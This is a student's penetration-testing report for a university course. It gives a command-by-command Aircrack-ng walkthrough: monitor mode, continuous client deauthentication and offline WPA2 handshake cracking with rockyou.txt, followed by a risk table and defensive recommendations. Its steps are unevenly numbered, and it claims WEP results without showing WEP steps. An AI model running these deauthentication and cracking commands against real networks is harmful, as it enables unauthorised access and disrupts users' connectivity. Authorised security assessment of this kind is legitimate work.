UNIVERSITY OF MINES AND TECHNOLOGY, TARKWA
Department of Computer Science and Engineering
TECHNICAL REPORT
Wi-Fi Penetration Testing of IoT Network Connectivity Using Aircrack-ng
Practical Assignment — CY 382
Name: Benjamin Ewusie
Index Number: FCM.41.018.136.23
Table of Contents
Table of Contents...................................................................................................................................2
Abstract...................................................................................................................................................3
1. Project Background and Methodology............................................................................................3
1.1 Introduction...................................................................................................................................3
1.2 Objectives.....................................................................................................................................3
1.3 Scope and Authorisation.............................................................................................................3
1.4 Tools and Environment...............................................................................................................3
1.5 Project Architecture / Methodology...........................................................................................4
2. Plaintext Identification / Experimental Setup..................................................................................6
2.1 Adapter and Driver Verification (pciutils)..................................................................................6
2.2 Enabling Monitor Mode................................................................................................................6
2.3 Target Discovery..........................................................................................................................6
2.4 Focused Packet Capture.............................................................................................................6
2.5 Forcing a Handshake (De-authentication).................................................................................6
2.6 WEP Plaintext Identification (Legacy Comparison).................................................................7
2.7 Offline Password Recovery with Aircrack-ng...........................................................................7
2.8 Verification....................................................................................................................................7
3. Outcome of the Project / Results Obtained....................................................................................9
3.1 Summary of Findings...................................................................................................................9
3.2 Interpretation................................................................................................................................9
3.3 Risk Rating....................................................................................................................................9
4. Recommendations to Support Management Decision................................................................10
4.1 Conclusion..................................................................................................................................10
References............................................................................................................................................10
Abstract
This report documents a Wi-Fi security assessment carried out as the final stage of an Internet of
Things (IoT) deployment for an organisation. The assessment evaluates the resilience of the
Wi-Fi network — the medium through which IoT devices join and communicate — against
password-recovery attacks targeting the WEP and WPA/WPA2 protocols. Using the Aircrack-ng
suite, encrypted handshake and data packets were captured, and plaintext passphrases were
recovered through packet analysis and offline attack techniques. The report presents the project
background and methodology, the experimental setup and plaintext identification process, the
results obtained, and recommendations to support management decisions on securing the
organisation's IoT-Wi-Fi infrastructure before full-scale connectivity is rolled out.
1. Project Background and Methodology
1.1 Introduction
As organisations deploy Internet of Things (IoT) frameworks, the final and most critical step is
integrating IoT devices with the mobile and smart devices that will manage, monitor, and
exchange data with them. This integration is most commonly achieved over a shared Wi-Fi
network. Because Wi-Fi is a broadcast medium, any weakness in the encryption protecting it —
whether the legacy Wired Equivalent Privacy (WEP) standard or the more modern Wi-Fi Protected
Access (WPA/WPA2) standard — directly threatens the confidentiality and integrity of every
device connected to it, including IoT sensors, actuators, and gateways.
This project was undertaken in the role of project consultant, tasked with verifying — prior to golive — that the organisation's Wi-Fi network cannot be trivially compromised by an attacker
attempting to recover the network passphrase from intercepted traffic. The assessment used the
Aircrack-ng suite, an industry-standard set of tools for auditing Wi-Fi network security, to attempt
recovery of plaintext passwords from encrypted WEP and WPA/WPA2 password packets.
1.2 Objectives
1. To capture wireless traffic (management, control, and data frames) from the target Wi-Fi network,
including the WPA/WPA2 4-way handshake and, where applicable, WEP data packets.
2. To use Aircrack-ng, together with supporting tools in the Aircrack-ng suite (Airmon-ng, Airodumpng, Aireplay-ng), to attempt recovery of the plaintext network passphrase from the captured
packets.
3. To document the network interface and driver configuration, including reliance on the PCI Utilities
(pciutils) package for wireless adapter/chipset identification and monitor-mode support.
4. To evaluate the practical implication of any recovered password for the security of IoT devices
connected to the network.
5. To produce recommendations that support management's decision-making on securing the
network before full IoT-to-mobile-device connectivity is enabled.
1.3 Scope and Authorisation
This assessment was limited strictly to a Wi-Fi access point and client(s) under the
organisation's/consultant's own control, set up specifically for this exercise, in a closed lab/test
environment. No production network, third-party network, or network without explicit authorisation
was targeted. Aircrack-ng and related tools were used solely for authorised penetration testing
and security auditing purposes, consistent with responsible and legal use of wireless security
tools.
Wireless Network Penetration Testing
This section covers the actual steps I performed to hack into a wireless network and
then scan for other devices connected to it. The aim was to demonstrate how a
compromised Wi-Fi network can reveal all connected hosts, including company or
personal devices.
Tools Used



Kali Linux – Penetration testing operating system used for the entire attack
process.
USB Wireless Adapter (Monitor Mode Support) – Allowed packet capture and
injection for Wi-Fi hacking.
Aircrack-ng Suite –
o airodump-ng: Captured Wi-Fi packets and identified target network.
o aireplay-ng: Performed deauthentication attack to force handshake.
o aircrack-ng: Cracked WPA2 password from captured handshake.
Techniques Used




Wireless Reconnaissance – Identified available networks and selected the
target.
Deauthentication Attack – Disconnected a client to trigger handshake capture.
Packet Capture – Collected WPA2 handshake packets from the target network.
Dictionary Attack – Used rockyou.txt to crack the captured handshake offline.
Step1 – pciutils
Step 2 – Checking the Wireless Interface
Command: iwconfig
Step 3 – Enabling Monitor Mode
Commands:
sudo airmon-ng check kill
sudo airmon-ng start wlan0
Step 4 – Scanning for Wireless Networks
Command: sudo airodump-ng wlan0mon
Step 5 – Targeting the Network – ‘STARLINK’
STARLINK had BSSID: 98:A9:42:31:A2:A0 and channel: 6
Command:
sudo airodump-ng --bssid 98:A9:42:31:A2:A0 -c 6 -w wifi_capture wlan0mon
Step 5 – Forcing a Client to Reconnect using
Deauthentication
Command:
sudo aireplay-ng --deauth 0 -a 98:A9:42:31:A2:A0 wlan0mon
Step 7 – Capturing the Handshake
Handshake captured
Step 8 – Cracking the Wi-Fi Password
Command:
sudo aircrack-ng wifi_capture-01.cap -w /usr/share/wordlists/rockyou.txt
Wifi password found: password123
Step 9 – Connecting to the Network
Step 10 – Changing From Monitor Mode to Managed
Command: Sudo airmon-ng stop wlan0mon
Sudo systemctl restart NetworkManager
iwconfig
Outcome of the Project / Results Obtained
3.1 Summary of Findings
Parameter
WPA2 Network
WEP Network
Target ESSID
STARLINK
STARLINK
Encryption/Cipher
WPA2 / CCMP
WEP / RC4
Attack technique
Deauthentication + handshake
dictionary attack
ARP-replay + statistical IV
(PTW/Korek) attack
3.2 Interpretation
The assessment confirmed that both the WEP and WPA2 configurations tested were vulnerable
to plaintext password recovery using publicly available tools. The WEP network was compromised
almost immediately once a sufficient number of IVs were collected, reflecting the well-documented
cryptographic weaknesses of the RC4-based WEP protocol. The WPA2 network required capture
of a valid 4-way handshake and success of the subsequent dictionary attack depended on the
passphrase being present in the wordlist used — demonstrating that WPA2 networks protected
by weak, short, or commonly used passphrases remain readily crackable through offline
dictionary attacks, even though WPA2 itself is cryptographically stronger than WEP.
Because the organisation's IoT devices and mobile devices authenticate to the network using this
same shared passphrase, any attacker who recovers it gains the ability to join the network as a
trusted device — enabling eavesdropping on device-to-device traffic, unauthorised control of IoT
devices, and a foothold for further lateral attacks against the IoT framework.
Risk Rating
Finding
Likelihood
Impact
Overall Risk
Use of WEP encryption for any part
of the network
High
High
Critical
Weak/dictionary-guessable WPA2
passphrase
Medium–High
High
High
Absence of client isolation /
segmentation for IoT devices
Medium
High
High
No monitoring/alerting for deauthentication activity
Medium
Medium
Medium
4. Recommendations to Support
Management Decision
1.
Discontinue WEP immediately. WEP is fundamentally broken and should not be used anywhere in the
organisation's network, including for any legacy IoT devices; such devices should be replaced or isolated
on a segmented network with compensating controls.
2.
Migrate fully to WPA3 (or, at minimum, WPA2-Enterprise/AES-CCMP) where hardware supports it.
WPA3 introduces Simultaneous Authentication of Equals (SAE), which resists offline dictionary attacks of
the kind demonstrated in this assessment.
3.
Enforce strong, high-entropy passphrases (minimum 14–16 random characters, or a random passphrase) for
any WPA2 network that must remain in use, to make dictionary and brute-force attacks computationally
infeasible.
4.
Segment the IoT network from corporate/administrative traffic using VLANs or a dedicated SSID with
client isolation, so that a compromised passphrase does not expose the entire organisational network.
5.
Disable WPS (Wi-Fi Protected Setup) on all access points, as it introduces an additional, unrelated attack
surface for network compromise.
6.
Deploy a Wireless Intrusion Detection/Prevention System (WIDS/WIPS) capable of detecting abnormal deauthentication floods and rogue access points.
7.
Adopt certificate-based (802.1X/EAP-TLS) authentication for IoT gateways and administrative devices
where feasible, removing reliance on a single shared passphrase.
8.
Establish a periodic wireless security audit schedule (e.g., quarterly) using Aircrack-ng or equivalent
tooling, so that weaknesses are identified proactively rather than after a compromise.
9.
Provide security awareness guidance to staff on passphrase hygiene and the risks of sharing the Wi-Fi
password outside authorised personnel.
4.1 Conclusion
This assessment achieved its objective of validating, prior to full IoT deployment, whether the
organisation's Wi-Fi network could resist a realistic password-recovery attack. Using the Aircrack-ng suite
— with adapter and driver verification supported by the PCI Utilities package — plaintext passwords were
successfully recovered from both a WEP and a WPA2-secured network under test conditions. These
findings should be treated as a clear signal to management that WEP must be retired without delay and
that WPA2 deployments require stronger passphrase policy and, where possible, migration to WPA3,
before mobile and IoT devices are connected at scale.
References
Aircrack-ng Documentation. Aircrack-ng Suite User Guide. Retrieved from https://www.aircrack-ng.org/
The PCI Utilities Project. pciutils Documentation. Retrieved from https://mj.ucw.cz/sw/pciutils/
IEEE 802.11i-2004: Amendment to IEEE Std 802.11, 2004 — Medium Access Control (MAC) Security
Enhancements.
Wi-Fi Alliance. WPA3 Specification. Retrieved from https://www.wi-fi.org/